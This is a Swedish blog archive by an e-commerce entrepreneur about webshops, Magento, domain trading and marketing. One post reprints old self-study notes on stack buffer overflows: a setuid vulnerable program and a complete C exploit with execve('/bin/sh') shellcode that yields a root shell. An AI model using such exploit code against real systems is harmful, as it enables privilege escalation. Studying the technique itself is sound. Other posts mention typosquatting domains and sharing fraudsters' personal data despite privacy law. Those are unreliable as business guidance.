E-handel är skoj

datorväskor

2011-07-04T11:38:00.000-07:00

Hallå där, längesen jag publicerade något här. Tänkte bara berätta att jag nu bloggar på ehandel.se och på jorkvist.com.

Jag har startat en ehandel som säljer datorväskor och datorfodral. Kolla gärna in min ehandel och länka gärna till mig. Snygga dataväskor säljer av schyst kvalite. Flera olika storlekar och former finns. Allt från datorryggsäckar till 17" laptopfodral.

Datorväskor i flera olika färger och varumärken så som golla datorväska, krusell datorväska med flera. Jag hade själv väldigt svårt att hitta snygga väskor till min laptop innan shoppen startade. Nu vet jag var jag ska hitta datorväskorna!

multi-level marketing med kompis-kuponger - skapa snacket

2009-05-13T16:16:00.000-07:00

Kompiskuponger är något som jag inte har sett hos några svenska ebutiker.

En typsisk buddy coupon fungerar så att man erbjuder en liten rabatt, säg 5% till en av dina kunder. Men kupongens värde ökar när kunden delar med sig av den. Om en annan kund använder samma kupong för sitt köp så ökar den ursprungliga kundens rabattsats till 10%. Om en tredje vän använder samma kupong så ökar den ursprungliga kundens rabatt till 15% också vidare.

en Kompis-kupong blir en sorts multi-level marknadsföring. Kupongerna får vänner att prata om vad dom har handlat och var dom spara pengar. Ni fattar galoppen va? Får dom shoppen att framstå som ett ställe där dom har sparat pengar på att handla ifrån så är det iallafall i min bransch väldigt bra reklam.

strajp the car

2009-05-11T14:11:00.001-07:00

här kommer en update på förra inlägget hur jag hade tänkt med bilen.

sandra slängde ihop något i ps för att illustrera tanken, lite reklam osv ska ju dit med.

Guerrilla war has begin!

2009-05-11T11:07:00.000-07:00

tänkte försöka mig på lite marknadsföring.

Har en opel vivaro som arbetsbil som tänkte strajpa upp som en stylad bil i verklig storlek. Typ en ferrari över hela sidan och låta hjulhusen matcha hjulhusen på bilen. Tror ni det kan väcka lite uppmärksamhet ?

Nästa grej, eftersom vi säljer bilreservdelar så köra lite vanlig "sätta lappar på bilar" på parkeringar, men lapparna ska vara ihopvikta och på utsidan ska det stå "ursäkta jag körde på din bil" i handskriven stil. Men när man viker upp lappen ska vårat budskap och våran reklam vara..

Se upp Sverige här kommer vi!

Arbetslogg 2

2009-05-06T12:54:00.000-07:00

Tjenare idag vart det upp i ottan och flytta grejer, fixade i ordning lite på lagret och märkte upp inkommande prylar.

Efter det rullade dagen på med en hel del samtal från kunder innan lunchen. Satt i telefon mest hela tiden från 9 till 12. Konstigt det där, ibland kan det vara helt tyst i telefon i nästan en timme, medans nästa dag samma tid går telefonen varm.

Sedan blev det några timmar effektiv tid med jobb på nya webbshoppen med uppdateringar av produkter.

Fick mig att fundera lite på om man kanske borde koppla in någon växel eller kösystem på telefonen istället för att det ska tuta upptaget för kunderna som ringer. Hur har ni andra gjort?

Vid 17 tiden drog jag ut till Kusten och fick lite underbart frisk havsluft (underbara bohuslän!), sedan blev det ett snabbt telefonmöte i bilen hem med en av våra produktutvecklare där vi stämde av hur tidslinjen såg ut för ett projekt.

Inspirerad av Andreas Bard

2009-05-05T07:29:00.000-07:00

Trycket på kontoret är enormt just nu men jag tänkte försöka ta mig några minuter varje dag med uppdateringar om vad som händer just idag. Inspirerad av Anderas Bard som loggar om sitt entrepenörsliv på bard.nu

listan ser ut såhär idag:
Som alltid på morgonen gå igenom gårdagens mail och skriva ut packsedlar/följesedlar/fakturor.
Sedan har jag fortsatt med att uppdatera nya shoppen vi snart ska lansera med texter och produktbilder. Inte världens roligaste sak att göra med över 1500 produkter i sortimentet.

här kommer en bild från dagens skrivbord.

Kunder söker ursäkter att hoppa av ett köp. Underlätta inte för dem.

2009-03-01T15:46:00.000-08:00

Jag blir lite irriterad ibland på e-handlare som inte tänker längre än dit näsan når.

ett exempel:
Något som många butiker inte har kommit ifrån ännu är att kunden måste genom gå någon sorts registrerings process och skapa ett login i systemet för att kunna handla. Skulle vilja säga att detta är mycket vanligt.

Men vad många e-handlare inte tänker på är att köp ofta kan ske impulsivt. Är då registreringsprocessen för att bli kund jobbig så ser gärna kunden detta som en ursäkt att inte handla och då har kunden "sparat pengarna. Kunder letar alltid efter orsaker att "slippa handla".

Har ni inte en snabbkassa i dagsläget så se till att skaffa er det om ni vill öka eran försäljning.

Volvo XC60 Bloggar with Löv

2008-12-05T00:54:00.000-08:00

Det pratas mycket om företag som bloggar och inte bloggar, en i raden nya bloggar är volvos XC60 blogg.

Ganska tunn på innehåll ännu. Men dom två inläggen som finns anspelar på sverige och säkerhet. Ska bli kul att se på vilket sätt dom kommer skriva.

http://www.thecarthatstopsitself.com/

Jag var ute och provkörde en Volvo XC60 för ett tag sen och det var en grymt trevlig bil!

Naken på youtube VS Våld på youtube

2008-12-03T07:08:00.000-08:00

YouTube nya policiys/guidelines. Om vad osm är tillåtet eller inte på youtube är lite konstiga.

Tack vare usa är all "nakenhet" förbjuden (tack då!). I usa har man en helt annan syn på nakenhet (och även porr för den delen jämfört med europa).

Därimot när det gäller våld så är mer eller mindre allt tillåtet. Men va fan är det inte värre att se krigsfilmer där folk blir dödade, torterade osv än se lite nakenhet??

Men nu är det så att Youtube är amerikanskt så vi får snällt leva med detta...

gamla texter, BOF

2008-11-30T07:31:00.000-08:00

hittade lite gamla texter och loggar :) Nostalgi!
Följande text skrev jag som en komihåg lapp och detta var precis när jag började lära mig utnyttja Buffer over flows. (Dvs du fyller inputen i ett program/script med för mycket så du kommmer åt att skriva vad du vill i Ram Minnet. och därigenom kan köra igång evil stuff och få högre rättigheter än vad du ska ha)


Buffer owerflows, 

text av XXXX #XXXXX  XXXX... ni är mediahoror käft

denna text kräver att du har grundläggande funktioner om hur datorn hanterar grejer i minnet. balblabl

kanske kommer en dag jag orkar lägga till text ang det.. jaja közz



BASICs



här är lite enkel kod 



overflow.c ------------------------------------------------------------

void overflow_function(char *str)

{

	char buffer[20];



	strcpy(buffer, str); //funtion som kopierar str -> buffer

}



int main()

{

	char big_string[128];

	int i;



	for(i=0;i<128; i++){

big_string[i] = 'A'; //fyller big_string med A

} 

overflow_function(big_string);

exit(0);

}

EOF--------------------------------------------------------------------



detta kommer orsaka att man förösker fylla "buffer" med aldels förmånga A istället för

max 20 som den är alokerad till .. detta medför i sin tur->

--------------------------------------------------------------------------

gcc -o overflow overflow.c

./overflow

Segmentation fault

--------------------------------------------------------------------------



så långt hoppas jag alla redan är med vad en buffer overflow är...

--------------------------------------------------------------------------

stackbaserad overflow

.. om man tittar på programets funktion där. så är det ju så att den förösker 

pressa ner A i stacken och när den bara har 20 st definerade att klara av så kommer

de överigaa 108byte spillas ut.. den skriver över stack frame pointer, return address

och str pekarens argument. efter det försöker programet att hoppa till return addressen i

minnet som nu istället är överskriven med massa A...detta orsakar då att programet 

läser fel(dvs läser massa A istället för ret address etc) i minnet.. 

vilket gör att programet crashar..alltså där return address etc förväntars vara är

 istället massa jävla A (0x41 hex)





skriv ett program som du kan sudo till root och skriva en exploit.... hm

vuln.c------------------------------------------------------------------------------

int main(int argc, char *argv[])

{

	char buffer[500];

	strcpy(buffer, argv[1]);

	return 0;

}

-----------------------------------------------------------------------------------

gcc -o vuln vuln.c

detta programet gör ju inte så mycket ...... men du ser själv det farliga idet va 

säg att detta tillåts köras som root..

sudo chown root vuln

sudo chmod +s vuln

-----------------------------------------------------------------------------------

nu är detta programet redo att skrivas en exploit till detta förklaras NU =) ..

hmm i minnet läggs då balbalablblblab jag vet itne men tycker ni ska läsa typ något memory text istället för detta 

-_--------------------------------------------------------------------------------



exploit.c---------------------------------------------------------------------------

#include 



char shellcode[] =

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0"

"\x88\x42\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d"

"\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73"

"\x68";



unsigned long sp(void)

{__asm__("movl %esp, %eax");}	// anävänds för returnera stack pekaren.. 



int main(int argc, char *argv[]){

	int i, offset;

	long esp, ret, *addr_ptr;

	char *buffer, *ptr;

	

	offset = 0;

	esp = sp();	//tryck den nuvarande stack pekaren/pointer in i esp

	ret = esp - offset; // vu vull skriva över ret addressen iminnet ju..



	printf("stack pointer (ESP) : 0x%x\n", esp);

	printf(" offsett från ESP   : 0x%x\n", offset);

	printf(" efterfrågad return adrs: 0x%x\n", ret);



//alokera 600byte för buffer..

	buffer = malloc(600);



//fyll hela buffern med efterfrågade ..ret addresser,,

	ptr = buffer

	addr_ptr = (long *) ptr;

	for(i=0;i<600;i+=4)

{ *(addr_ptr++) = ret; }



//fyll första 200 bytes av buffern med utfyllnads(NOP=¨x90)

	for(i=0;i<200;i++)

	{ buffer[i] = '\x90';}



	//plasera shellcode efter NOP

	ptr=buffer + 200;

	for(i=0;i	*(ptr++) = shellcode[i];}

	

	//avsluta strängen

	buffer[600-1] = 0;



	//kör programet med våran buffer *SMAJL*

	execl("./vuln", "vuln", buffer, 0);



	//frigööör bufferminnet ajt

	free(buffer);



return 0;

}

EOF----------------------------------------------------------------------------



resultat 



gcc -o exploit exploit.c

./exploit

stack pointer (ESP) : 0xbffff978

 offsett från ESP   : 0x0

 efterfrågad return adrs: 0xbffff978

#whoami

root

#

--------------------------------------------------------------------------------





WOOLLA detta va min egen lektion för mej själv .....







SLUT .................................................

Fuck alla andra - Sätt fokus

2008-11-28T01:55:00.000-08:00

Nu ska jag skälla lite på mig själv.

Jag har ett antal projekt/företag igång varav ETT av dom jag verkligen älskar att arbeta med och verkligen tror stenhårt på. Detta projektet har vi byggt upp grunden till under 2 år och det är verkligen i sin linda.

Jag arbetar aktivt med 3st företag. Samtidigt som jag har minst 3 projekt i gång vid sidan om dessa företagen.
Tyvärr tar detta mycket viktig tid från mig när jag skulle vilja jobba med det projektet jag verkligen brinner och stenhårt tror på.

Så va fan håller jag egentligen på med? Nu säljer jag av alla projekt, domäner och företag, avsäger mig uppdrag som inte hör till vad jag verkligen vill jobba med och ger företaget en ärlig chans att utvecklas. Om tre år ska jag vi ha minst 8miljoner i omsättning.

Fuck alla andra nu kör jag racet fullt ut.

Trevligare kundtjänst i Sverige! - Få dina kunder att älska dig

2008-11-26T00:27:00.000-08:00

När en kund ringer dig, hur låter du på telefon?
Är du trevlig?
Får kunden intrycket av att du verkligen försöker du verkligen hjälpa din kund?
Skapar du merförsäljning?

Kundtjänsten är i många fall det enda sättet att skapa tvåvägskommunikation med dina kunder, utnyttja det! Se aldrig din kundtjänst som en kostnad utan se det som marknadsföring.

När en kund ringer och frågar om en produkt eller vill göra en order, har du några bra pickup lines för att öppna upp kunden ?
Små små frågor som får kunden att öppna sig och berätta om sin egen situation. Människor älskar att prata om sig själva! (Även fast vi kanske inte vill erkänna det). Visar du då att du bryr dig om vad kunden säger så kommer dom älska dig.

Skriv upp en lapp och tejpa i samband med din skärm eller telefon så du ständigt blir påmind! På lappen kan du tex skriva små stödord med öppna frågor.

Några exempel:
Vid försäljning av väggfästen för att hänga upp platt-tv på väggen, så frågar ofta kunden vilket fäste som passar dennes tv. Wips så fick du tvmodellen, beröm tv-valet. Fråga om dom har mycket grejerinkopplat eller klaga på att det är mycket kablar till en tv, (detta kommer kunden hålla med om). Berätta om att ni säljer ju även kabellister för att snyggt dölja kablarna snyggt på väggen. $$$$

Du säljer bildelar och bilstyling oftast får du info om vilken bilmodell ni pratar om då dom flesta delarna är modellspecifika. Fråga kunden om vilken färg det är på bilen och berätta att denna färgen är en av dom du tycker är snyggast (oftast räcker det att fråga vilken färg det är på bilen så kommer kunden berätta allt om sin älskade bil). Styr vidare samtalet och låt kunden berätta lite om sin bil. Ta in vad kunden säger och tipsa kunden om produkter.

Kunden kommer bara bli glad när du visar att du bryr dig.

Vad har du gjort för att utveckla ditt kundbemötande på telefon/mail? Inget? Se till att gör det! Jag måste slå ett slag för att det är väldigt lärorikt att gå en kurs och att dessa kurser betalar sig väldigt fort.

Nästa kurs för mig kanske vore nog att skriva bättre texter :)

Magento e-handel design theme

2008-11-05T10:41:00.000-08:00

Att skapa Teman för magento är inte så svårt som man kan tro.

Ett tips är att börja med Temat som heter Blank som är lite lättare att redigera i än default tema.

Det kan dock vara lite meckigt att förstå uppbyggnaden av Magentos sätt att bygga upp teman på. Jag jobbar på några guider som förklarar på Svenska.

Men Förstår man bara innebörden av dom tre hörnstenarna

layouts
Templates
Skins

Och då framförallt hur Layouts är uppbyggt med deras "xml" språk. Så har man kommit en bra bit på vägen. Har man även lite PHP i grunden och Objektorienterat tänkande så är det inte alls några svårigheter!

Justerar på det sista i min första magentodesign. (Utgick från en färdig PSD jag hittade på nätet för att få övning i att designa för magento)

Domänförvärv

2008-11-05T10:17:00.000-08:00

domäner domäner domäner

Köpte under förra veckan:
music.al (musical) (verkar kunna ge en bra utdelning, intresset har varit stort runt just denna domän)
sms.al
radio.al (radio heter även radio på albanska)
rent.al (rental)
games.al
Charter.al
SMS.al (fått bud på 40k SEK)
Seks.al (Sex på albanska)
Apartamente.al
Moda.al (Mode)
Football.al & Futboll.al (fotboll på albanska)
gay.al
bet.al
betting.al
och ett större gäng med mer domäner.

Kommentera gärna domänerna och ppsst alla är tillsalu.

bbbb buuuuble...

2008-10-28T08:36:00.000-07:00

Nytt projekt

2008-10-20T17:00:00.000-07:00

Jag har under senaste månaden börjat lägga grunden för en site som kommer lista och länka till "online video sajter". En konkurent till ovguide.com

Det svåra just nu är att försöka begränsa sig för att få ut en färdig site för att sedan kunna bygga vidare på. Databas modellering är färdigt (i alla fall i mitt huvud) och ett par 100 onlinevideo siter är inlagda i databasen. Av någon konstig anledning började jag med content före själva byggandet av siten. Vi får se hur det här slutar :)

Trafik har jag redan blivit lovad av en av dom stora på just onlinevideo, tjänster och gentjänster!

Återkommer när jag jag släpper siten.

Förra veckans möte med C.

2008-10-20T16:53:00.001-07:00

Under förra veckan träffade jag en gamal skolkompis/nätkompis som äger och driver blandannat en sida som har legat på Alexa top 100 under några månader. Men just för tillfället ligger någonstans på plats 1500-2000.

En ganska rolig och lyckad historia om C.s site är att han byggde den för sitt eget behov och sen "råkade" den bli omåttligt populär genom att ordet spred sig snabbt.

C. hade investerat i blandannat en maskin för att skriva ut på t-shirtar och var intresserad av dom shopparna jag har byggt och min kunskap inom området. Jag blev postivt förvånad då han kontaktade mig och förklarade läget. Själv tycker jag tshirts marknaden verkar vara en marknad med mycket jobb för små pengar men det är jag det ;)

Självklart tipsade jag honom om Tores blogg, Tore som har drivit företaget Polyshop AB skriver mycket om det han lärde sig under sin resa Med Polyshop. Mycket läsvärt!

Domäninvesteringar i helgen

2008-10-20T16:48:00.001-07:00

I Lördags träffade jag en kollega i branchen och diskuterade lite domänaffärer vilket resulterade i köp av domäner för cirkus 30 000kr. (ett 20tal domäner). Redan under söndag eftermiddag fick vi bud på en av dom på 40 000kr. Vi avaktar dock lite och ser hur marknaden utvecklar sig.

Är lite hemlighetsfull kring detta under någon eller några veckor framöver sen kommer vi droppa namnen.

Ny inriktning och grafisk profil

2008-10-20T16:19:00.000-07:00

Raci mex .se som jag driver åt Anders kommer få sig ett rejält ansiktslyft under den närmsta tiden. Hela sortimentet kommer ses över och göras stora förändringar i till det bättre! Vi kommer starta med reservdelar och satsar på att plocka en stor marknadsandel från markbutiker dom närmsta åren.

Låter er få en tjuvkik på nya loggan, kommentera gärna!:

gamla:

PSD till Magento kod kod kod

2008-10-20T16:12:00.000-07:00

För några veckor sen blev vi färdiga med Psd filerna till nya racim ex.se shoppen. Har skickat vidare dessa till våran magento utvecklare som pillar iordning med det.

Har själv skrapat på ytan i magento och tycker det verkar vara riktigt trevligt strukturerat. Kanske lite meckigt för den oinsatte att ändra designer i men inget omöjligt.

Med bra strukturer och en typ xml-markup där man bygger upp sidan i block så känns det enkelt att få ordning och aktivera/avaktivera grejer.

Ska försöka sätta mig in bättre i hur saker och ting hänger ihop under denna veckan.

fulkod eller inte

2008-08-22T07:41:00.001-07:00

idag har jag städat, städat rejält i gamal kod. Ni vet kanske hur det känns när man hittar en gamal pizza under soffan och väljer att städa ur sin lägenhet rejält.

Imorse började det med en stor uppförsbacke men nu börjar det rulla på nerför igen :)
Har gjort mig halft om halvt onåbar idag pga av detta. Nu kommer jag kunna sova bättre om nätterna ;)

USP/marknadspolitik

2008-08-15T03:22:00.000-07:00

Hur det ser ut för oss:

www.vaggfaste.com Vi är helt enkelt bäst i världen på väggfästen och ingen kan slå oss på fingrarna där. Med korta leveranstider och med optimerade system går ordrarna iväg oftast samma dag.

På den andra shoppen (som jag är lite feg på att presentera redan) där har vi valt att plocka fram en del egna unika produkter som skapar uppmärksamhet i medier och bland kunder. Ofta är dessa produkter bra marginalvaror med och det skadar ju aldrig. Vi jobbar mot ett klart mål men har en bit kvar till vårat USP.

Hur ser era USP ut? Tänk på att nästan alla lyckade företag har idag USP. Och det kan vara mycket enkla saker, men ändå en hjälp och ett delmål att uppnå.

Jag älskar att skapa

2008-08-14T11:16:00.000-07:00

Jag har alltid gillat att bygga och skapa saker.

Vi utvecklar en del produkter själva som vi säljer, oftast för att kunderna i nischen gillar det vi kommer med. Men även för att vi kommer på lösningar som ingen annan har kommit fram till.
Oftast består detta arbetet av 2-3dagar med lite sömn i en mekaniskverkstad.

En diskution hos teamet i verkstaden skapade slutsatsen att skapa var givande och roligt men med lite olika synsätt. O. tyckte att man ska skapa så mycket som möjligt hela tiden för det är det man blir ihågkommen med och sätter avtryck med när man är död. A. såg belöningen i den ekonomiska fördelen som våra egna produkter ofta skapar. Och jag gillar bara själva skapandet att se den färdiga produkten där man har gjort något själv.

Våra egna prototyper om dom blir lyckade går oftast iväg till fabriker i Polen där tillverkning sker. Flera av våra konkurenter kör med fabriker i Asien men problemet med det brukar att det krävs minst en contatiner i kvantitet och att från prototyp som ska gå fram och tillbaka några gånger innan den är godkänd så dröjer det runt 6månader innan en färdig produkt finns för leverans på marknaden. Stämmer allt överens för oss med Polen så klarar vi att få första mindre leveransen på för att känna av marknaden med på ca 1-2 månad.

Detta ger oss en enormt bra språngbräda.

Att skapa Länkbete, Det roligaste som finns!

2008-07-29T15:57:00.000-07:00

Länkbeten kan vara en av dom roligaste sakerna som finns! Folk vill se dom konstigaste sakerna. Det är nu kreativiteten får flöda! Skapa dom mest idiotiska sakerna du kan komma på gärna något som bloggsfären tar till sig snabbt och som sprids som en löpeld. Kan du skapa en liten knapp som folk kan lägga in på sina bloggar som visar antalet svordomar skrivna på bloggen. Bygg en systembolaget kalkylator (vad det är vet jag inte ännu men bygg en!) , en kaffekokare folk kan välja att trycka ner en fisk i eller ja.

Andra populära grejer är tex "räkna fram mitt dödsdatum", "hur många dog på min födelsedag".

Valmöjligheterna är många och roliga! Behöver inte vara några avancerade saker!

Produktinformation - Svenskar är sakliga

2008-07-29T15:26:00.000-07:00

Något jag gillar med oss svenskar är att vi oftast är sakliga. Tex i guider, texter och manualer står det man behöver veta och inte massa trams. Jag har under en längre tid tänkt på detta men kommer inte på något bra exempel att förklara detta på.

Tills jag kom på att just de, det är nog därför jag har lite svårt att få till mina texter. Det känns ofta när jag skriver tex produktinformation att jag skriver ner det kunden behöver veta och lite till. Jag hajpar inte upp produkten till skyarna och sparsamt använder (absoluta) superlativ.

Detta är något som jag från mina utländska vänner ofta hör påpeka.

Domänförsäljningar i år av mig

2008-07-16T04:39:00.000-07:00

Jag håller på med fler grejer än e-handel på internet och en av dom sakerna är handel med domännamn.

Jag köper väldigt sällan redan registrerade domännamn utan ser till att försöka hänga med i trender och utveckling för att norpa åt mig värdefulla domännamn innan någon annan.

Hittills i år har jag sålt 3st domännamn för sammanlagt 35 000SEK ( ha med i beräkningarna att jag har gett ungefär 400kr i inköp för dem totalt så ger det en ganska bra avkastning ).

En av domänerna jag sålde drog in ca 120-150Euro (parkerad på SEDO.com) i månaden men jag kände att det började bli en negativ trend och utvecklingen gick åt fel håll inom branchen (läs besökarna avtog) så jag valde att sälja den.

En annan av domänerna som jag sålde (för strax under 10 000SEK) var en .nu domän med ett känt resemål/stad som namn. Registrerad på fredagen och såld under veckan därpå. Resemål/städer är väldigt populära domäner och kan ge väldigt bra betalt i utdelning då det ofta är lätt att bygga contentsidor med reklam för hotell eller flyg vilket ger bra betalt.

Jag har i min domänportfölj även några såkallade typosquatting domäner dessa ger bra utdelning om man ser till investerade pengar (kostnaden för registreringen).

Med hänsyn av köparna så väljer jag att inte publicera vilka domännamn som såldes.

Distribuerad Blacklist av bedragare

2008-07-16T02:25:00.001-07:00

När man är E-handlare så stöter man snabbt på folk som vill lura till sig varor. För att skydda sig mot detta kan man använda sig av flera verktyg tex kontrollera kundens address mot leveransaddressen. De olika alternativen är tyvärr ofta inte tillräckligt.

Vi e-handlare skulle behöva gå ihop och skapa en central lista med addresser, namn, telefonnummer och mail på bedragare. (eller finns det någon sådan eller likande så bjud gärna in mig)

Någon tjatar om att detta strider mot PUL men so what, har jag blivit blåst har jag inga problem alls med att dela med mig av det till mina e-handelsvänner. Förresten om man skriver in i sina avtal att bedragare kommer att listas på en sådan sida så bör det inte vara några problem?

Posten håller tillbaka utvecklignen av E-handel i Sverige!

2008-07-16T01:32:00.000-07:00

Hat kanske är att ta i men här följer en lista med saker som jag stör mig på hos svenska Posten logistik (paket).

- Fakturaavgift 20kr/faktura
- Fakturor 2-3 gånger i veckan
- 10dagar på fakturan (i alla fall till mitt AB)
- Missar man en av alla 700fakturor om året så kommer det en påminnelsefaktura 2dagar efter den första skulle varit betald som inkluderar en påminelseavgift på 50kr (momsfria pengar för dom tilloch med?)
- En oerhörd ovilja att kompensera för förstörda paket. Vi har inte fått ett enda paket kompenserat ännu, paket som har blivit rakt överkörda av truck eller lastbil (inte små slängskador som kan bero på dåligt emballage) utan paket som verkligen är totaltmörbultade. Personerna på företagcenter där jag anmäler skadan är oftast väldigt förstående och "detta blir inga problem". Sen när väl utlåtandet kommer från deras "experter på sönderkört gods avdelningen" kommer så är det oftast ca 10 sidor med bilder och skitsnack och ett Nekande till ersättning.
- Har man bokat upphämtning av paket som vanligtvis sker varje dag så kommer dom gärna och tror att det går bra att ta just våra varor dagen efter eller kanske efter någon vecka när dom har lust. Vanligtvis då jag bor i närheten av posten företagcenter så lämnar jag själv in paketen.
- Felaktigt fakturerade fraktkostnader är ytterst vanligt men tyvärr har jag inte tid att sätta mig ner och gå igenom alla skickade varor mot Postens specar. Men när jag väl någon gör det så är det bra timpeng.

Postens priser är lite skrämande om man tänker efter, och ofta är det billigare att få paket/pallar levererade från Utlandet än att skicka vanliga paket inom Sverige !

Posten håller tillbaka utvecklignen av E-handel i Sverige! Och än så finns det inga vettiga alternativ (dhl, schenker, bussgods tack men nej tack!)

Att dom har mage att ta betalt för att få intergrera lösningar där man automagiskt för över / skapar fraktsedlar från affärssystemet visar lite vilken ovilja dom har.

Det positiva med posten jag kommer på är att dom är snabba på att betala ut pengarna för paket belagda med postförskott.

Kämpa!

2008-06-25T09:48:00.000-07:00

"The world ain't all sunshine and rainbows. It's a very mean and nasty place... and I don´t care how tough you are, it will beat you to your knees and keep you there permanently, if you let it. You, me or nobody, is gonna hit as hard as life. But ain't about how hard you hit... It's about how hard you can get hit, and keep moving forward... how much you can take, and keep moving forward. That´s how winning is done. Now, if you know what you worth, go out and get what you worth. But you gotta be willing to take the hits. And not pointing fingers saying: You ain´t what you wanna be because of him or her or anybody. Cowards do that and that ain´t you! You´re better than that!" Rocky Balboa

E-handelsplattform Magento

2008-06-25T08:57:00.000-07:00

Jag jobbar idag till största del med e-handel och har drivit webbshopp på nätet i snart 2år. Innan dess var jag bara en vanlig nörd/entreprenör.
Att hitta ”rätt” e-handelsplattform för mig går inte, men det går att titta på de olika alternativen som finns att börja bygga runt. Efter att ha jobbat med både bla. Oscommerce och färdiga system såsom E-butik.se så inser man snabbt att det finns många saker som dessa saknar som man behöver. Att låsa upp sig till tex E-butikslösning är för mig otänkbart.

Vi har jobbat runt Magento sen nyårsskiftet ungefär men det har mestadels stannat i det tysta men med en hel del snack med utvecklingsteamet bakom Magento. Bland annat har arbetet med magento inneburit att momshanteringen har fått skrivas om/ modifierats kraftigt (hade säkert gått att fulhacka men nej tack).

Vi tror på magento som plattform och vi gör en långsiktig satsning i både tid och kapital. Att ha kunskapen om systemet är för oss ett måste. Går något snett så ska vi veta exakt var just kodsnutten som genererar felet finns.

Magento är oerhört bra strukturerat kodmässigt men vissa delar skapar ibland mer förvirring än sense men magento-teamet är oerhört hjälpsamma och svarar gärna på mail med vad kan synas som dumma frågor.

Vi har inte spikat något datum för när våran första magento-shop skall vara online men inom 4månader hoppas vi vara i hamn med en skarp butik!

Att få dina kunder att älska dig

2008-06-25T08:26:00.000-07:00

Ett av mina mål med e-handel är att skapa återkommande kunder som upplever våra varumärken och butiker som tillförlitliga butiker som levererar kvalité. Det spelar ingen roll vad som säljs, tumma aldrig på kvalitén på lösningen/produkten. Leverera alltid det kunden förväntar sig, annars får du en missnöjd kund. Här nedan presenterar jag några av mina tankar och idéer om hur jag försöker nå dit med mina e-butiker.

Kundtjänsten är i många fall det enda sättet att skapa tvåvägskommunikation med dina kunder, utnyttja det! Se aldrig din kundtjänst som en kostnad utan se det som marknadsföring.

Att konkurera med pris är inte hållbart på lång sikt, men kan ge en bra spinoff effekt i ett tidigt skede . Tänk både en, två och tre gånger innan du sätter priset för lågt. Var aldrig billigt på alla dina varor utan låt din prissättning spegla att det är en produkt av kvalité. Tänk istället på paketering och kundupplevelse. Säljer du tex skor, låt kunden fritt byta modell/storlek. Då visar du att du är service minded och kunden kommer förhoppningsvis återkomma inom ett halvår för att köpa sina nästa par skor hos dig. Du har då startat uppbyggandet en långsiktig relation med din kund. Du blir helt enkelt en pålitlig leverantör av skor i kundens ögon.

Ha alla dina varor på lager eller max 1 dag bort, annars tappar du både trust och kunder. Visst det kan ses som en omöjlighet att ha alla olika varianter av varorna i ditt sortment på lager, men är det då nödvändig att erbjuda kunderna alla olika varianter? Jag kan helt ärligt säga att i en av våra e-butiker så uteblev försäljning för en bra bit över 100 000SEK år 2007 på grund av att varorna inte fanns på lager, vi erbjöd ett alldeles för stort sortiment och det straffade sig själv där vi inte kunde bygga upp trovärdiga relationer med våra kunder då vi inte i många fall inte kunde garantera någon leveranstid. Att ha produkterna på lager och kunna leverera produkten samma eller nästkommande dag skapar trygghet hos kunden (berätta i din butik att du har varorna på lager och att leverans sker samma eller nästkommande arbetsdag!).

Ta alltid kontakt med kunden innan kunden hinner ta kontakt med dig vid sale. Var snabb med en orderbekräftelse och snabb med en leveransbekräftelse. Se framförallt till att aldrig lova kunden något du inte kommer att kunna leverera, var istället ärlig.

Även fast du kanske inte är den största kunden hos din leverantör så skapa en relation med leverantören så han inser att du är viktig och att han är viktig för dig. Detta kommer gynna dig i längden. Leverantören har oftast mycket mer koll på sina produkter än dig, utnyttja det, fråga om det kommer komma några nyheter snart, fråga om allt!

Visa att du bryr dig om produkterna du säljer och tar ansvar för dem hos dina kunder. Detta kommer lysa igenom till dina kunder, om inte annat se till att det gör det!

Komihåg att Bygga varumärke och trust för en e-butik görs inte över en natt.